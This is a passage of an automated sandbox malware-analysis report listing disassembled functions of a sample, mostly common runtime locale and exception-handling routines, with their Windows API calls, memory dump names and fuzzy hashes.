Instruction Fuzzy Hash: 67F08932A016256BDF215B65DC05B6A376DAF437F0F15422ABC48E6191CF74D803B7E1

Function 00F73905 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,00000000,?,00F73CF5,?,?,00000000,?,00F73CF5,?,0000000C), ref: 00F73922

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0ab32e978f13d75a8aaa86677d837e58c29efe3650e6c164c8094271ee3894b2
Instruction ID: d6a36405210847362e28ef4efa1cda5c746a2491a87e50b70d6cd8ec1d36c989
Opcode Fuzzy Hash: 0ab32e978f13d75a8aaa86677d837e58c29efe3650e6c164c8094271ee3894b2
Instruction Fuzzy Hash: 64D06C3200010DBBDF028F84DC06EDA3BAAFB88714F114040FA1856020C772E871AB91

Non-executed Functions

Function 00F7420D Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00F743F1

Strings

1#IND, xrefs: 00F74312
1#INF, xrefs: 00F74343
1#QNAN, xrefs: 00F74320
1#SNAN, xrefs: 00F74319

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: f690dabc765175ab7a60752586344e40fd9ad6d8b5541cdf8cb879942bdc9d98
Instruction ID: 2d8086fdc490cc077552dd3320f3c8769ae2c7a8c7ad6e02d4dcb3e0e14a1a31
Opcode Fuzzy Hash: f690dabc765175ab7a60752586344e40fd9ad6d8b5541cdf8cb879942bdc9d98
Instruction Fuzzy Hash: 4FD22872E086288FDB65CF28DD407EAB7B5EB44315F1485EAD40DE7240E778AE819F42

Function 00F72941 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(3FC00000,2000000B,00F72C5F,00000002,00000000,?,?,?,00F72C5F,?,00000000), ref: 00F729DA
GetLocaleInfoW.KERNEL32(3FC00000,20001004,00F72C5F,00000002,00000000,?,?,?,00F72C5F,?,00000000), ref: 00F72A03
GetACP.KERNEL32(?,?,00F72C5F,?,00000000), ref: 00F72A18

Strings

ACP, xrefs: 00F7295F
OCP, xrefs: 00F72995

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: e462c49921bd2cb8a78996aabca0daefa2d4bf7c6433d48b8fb492740096edd8
Instruction ID: 570ce10152c940a494f020f2a3cd74c045d35854a88fc24596a531730645cc42
Opcode Fuzzy Hash: e462c49921bd2cb8a78996aabca0daefa2d4bf7c6433d48b8fb492740096edd8
Instruction Fuzzy Hash: 0B219522E00105A7E7B48B64D900B97B2B6EB54B74F5AC426EA4DE7105E732DD40F752

Function 00F72B16 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F691E1: GetLastError.KERNEL32(?,00000008,00F67C1C), ref: 00F691E5
Part of subcall function 00F691E1: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00F69287

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00F72C22
IsValidCodePage.KERNEL32(00000000), ref: 00F72C6B
IsValidLocale.KERNEL32(?,00000001), ref: 00F72C7A
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00F72CC2
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00F72CE1

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 04b09934004e879a19c82f6f33f643fdfc64818df0fa05becb72f27b541e45ab
Instruction ID: fd0b27064c46668714e42b268c9674f998a34889dd3eafbf774ee014ff9a66b0
Opcode Fuzzy Hash: 04b09934004e879a19c82f6f33f643fdfc64818df0fa05becb72f27b541e45ab
Instruction Fuzzy Hash: 69519471E00209ABDB61DFA4CC41EBE73B8BF58320F55846AE918E7191D7749940EB63

Function 00F721B2 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F691E1: GetLastError.KERNEL32(?,00000008,00F67C1C), ref: 00F691E5
Part of subcall function 00F691E1: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00F69287

GetACP.KERNEL32(?,?,?,?,?,?,00F65CC8,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00F72273
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00F65CC8,?,?,?,00000055,?,-00000050,?,?), ref: 00F7229E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00F72401

Strings

utf8, xrefs: 00F72370

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 44771d6aafbe5dbe1ba0b7ff559c0305acafb3fc37f3dd6e2a51bb9d9b376f26
Instruction ID: 62b547e04f45d2bc08bbdc7682431e0fd61d451c3002fd0f58f28cc51d9b8542
Opcode Fuzzy Hash: 44771d6aafbe5dbe1ba0b7ff559c0305acafb3fc37f3dd6e2a51bb9d9b376f26
Instruction Fuzzy Hash: F0711771A00206AAEB64AF74CC46BAA73ACFF45310F10C42BF90DD7182EA78D941F752

Function 00F696DB Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F69768

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 252da8c2916a6ccd7a08688b1d0fc99207b249f10b85b28511e47a57bb66c47f
Instruction ID: e559949af4ed6c373492fd83d670795de6e0e88ef39f6bee8fb4353cd435a369
Opcode Fuzzy Hash: 252da8c2916a6ccd7a08688b1d0fc99207b249f10b85b28511e47a57bb66c47f
Instruction Fuzzy Hash: B8B15932D082459FDF15CF68C881BFEBBE9EF45350F14816AE905AB241D2B9DD01EBA1

Function 00F5B991 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00F5B99D
IsDebuggerPresent.KERNEL32 ref: 00F5BA69
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00F5BA89
UnhandledExceptionFilter.KERNEL32(?), ref: 00F5BA93

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 304eb7ff29c29b2feb904779a2ecbb650c56f234b15e343be735041d7d14f5fc
Instruction ID: 4767ead35a17b32364f9cf35a24eaacb23690d43500eea8e5702a7a0c5755d1a
Opcode Fuzzy Hash: 304eb7ff29c29b2feb904779a2ecbb650c56f234b15e343be735041d7d14f5fc
Instruction Fuzzy Hash: 8A313875D0521C9BDB20DFA4DD89BCCBBB8BF08301F1040AAE50DAB250EB749A89DF45

Function 00F725C5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00F691E1: GetLastError.KERNEL32(?,00000008,00F67C1C), ref: 00F691E5
Part of subcall function 00F691E1: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00F69287

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00F72619
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00F72663
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00F72729

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 69440b8aae4bf9ec1ee0742950069987694233322a5fb3020ae0be7174185136
Instruction ID: b0640a044f08f4092c744ef701fa1dbcf9ed4f31b3bfa55610334e2ad66fee3d
Opcode Fuzzy Hash: 69440b8aae4bf9ec1ee0742950069987694233322a5fb3020ae0be7174185136
Instruction Fuzzy Hash: A36194719001079BDB689F28CD82B7A77A8FF14310F10817BE919C6185E778DA82FB52

Function 00F61C34 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000001), ref: 00F61D2C
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 00F61D36
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000001), ref: 00F61D43

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a7279064115c6cd1ced1fcac61bb3970f06ec94293cf7780f80f08ab874fb325
Instruction ID: 8d09670e7461e965f361ec58e0bc8a2c1d948dd7c689a78210463ca44d044917
Opcode Fuzzy Hash: a7279064115c6cd1ced1fcac61bb3970f06ec94293cf7780f80f08ab874fb325
Instruction Fuzzy Hash: 6A31C17490122CABCB21DF24DC88BCCBBB8BF48351F5041EAE90CA7290E7749B859F45

Function 00F63B40 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 636ed376910306cad64807a91013b3093d4a624d03e1325861f7855058dad1ff
Instruction ID: d72bc38370877da59cae7e46ff942b14e133af75434028065d6b7e943f3113df
Opcode Fuzzy Hash: 636ed376910306cad64807a91013b3093d4a624d03e1325861f7855058dad1ff
Instruction Fuzzy Hash: 46F12E71E002199FDF18CF68D880AADF7B1FF88324F158269E915AB391D731AE45DB90

Function 00F6D2BB Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,3FC00000,?,00000008,?,?,00F6D2B6,3FC00000,?,00000008,?,?,00F76D94,00000000), ref: 00F6D4E8

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b610d7eecdbe4347fd6c72c602fe948daf7da2f64bde3d9cad63636a5f76977a
Instruction ID: 942f509b162db22a58d0578e04d145d5f2e25e0de337ce720c4d8110d608bc17
Opcode Fuzzy Hash: b610d7eecdbe4347fd6c72c602fe948daf7da2f64bde3d9cad63636a5f76977a
Instruction Fuzzy Hash: 62B14C72A10609CFD719CF28C486B657BE0FF45368F298658E89ACF2A1C735ED81DB41

Function 00F5B675 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00F5B68B

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 6ecbbec53bb26ecbddea6f1adef40bded1b984a2afbd0ff6e7793e5fa35c4573
Instruction ID: 231349deec7b618058438f8801041c8de81f7edb9cd350a8e97f5a7747269528
Opcode Fuzzy Hash: 6ecbbec53bb26ecbddea6f1adef40bded1b984a2afbd0ff6e7793e5fa35c4573
Instruction Fuzzy Hash: FD516D71D156098FDB18CF58E8D57AEBBF4FB48326F28802AD901EB290D3759944DF50

Function 00F72818 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00F691E1: GetLastError.KERNEL32(?,00000008,00F67C1C), ref: 00F691E5
Part of subcall function 00F691E1: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00F69287

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00F7286C

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: f9554c9a162b7aa0cfe6439ae4f201797b3ce4f271cef93dde88d587cc0c9125
Instruction ID: 3deef22f330a399e9b41fca266f1a2c01a196521b21e7f2639750dc47fd512e2
Opcode Fuzzy Hash: f9554c9a162b7aa0cfe6439ae4f201797b3ce4f271cef93dde88d587cc0c9125
Instruction Fuzzy Hash: 2F21C532A04106ABEB289B24DC41FBA73ACEF54320F10407BFD09D6145EB7ADD48EB52

Function 00F60E13 Relevance: 1.6, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

0, xrefs: 00F60F9D

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 363f142fb7806c48cbe288a349bf58cc079dfcfbe0e14001153e9d04412a9626
Instruction ID: 7d4da6b4e9cdb219a17cac1cd58faf8741f0f3c7ec9a4f3827ba5fc56ec4f6db
Opcode Fuzzy Hash: 363f142fb7806c48cbe288a349bf58cc079dfcfbe0e14001153e9d04412a9626
Instruction Fuzzy Hash: 34B1F370D0065A9BCF34CE68C8A1ABFB7B5FF15324F280A1AE452D7291CB369941FB51

Function 00F7249F Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F691E1: GetLastError.KERNEL32(?,00000008,00F67C1C), ref: 00F691E5
Part of subcall function 00F691E1: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00F69287

EnumSystemLocalesW.KERNEL32(00F725C5,00000001,00000000,?,-00000050,?,00F72BF6,00000000,?,?,?,00000055,?), ref: 00F72511

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 860b5f2e60c2cfa8cf2efdab68b110ec96a13a9b85bc7aba57af295822a9316e
Instruction ID: 586aba6ef528cecc73076ceb04284315126bf20fa3ae540107f46db4f164e4f6
Opcode Fuzzy Hash: 860b5f2e60c2cfa8cf2efdab68b110ec96a13a9b85bc7aba57af295822a9316e
Instruction Fuzzy Hash: 22114C376007015FDB189F38CCA157ABB91FF84328B18842DE98B47640D775B943DB40

Function 00F72A47 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00F691E1: GetLastError.KERNEL32(?,00000008,00F67C1C), ref: 00F691E5
Part of subcall function 00F691E1: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00F69287

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00F727E1,00000000,00000000,?), ref: 00F72A73

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
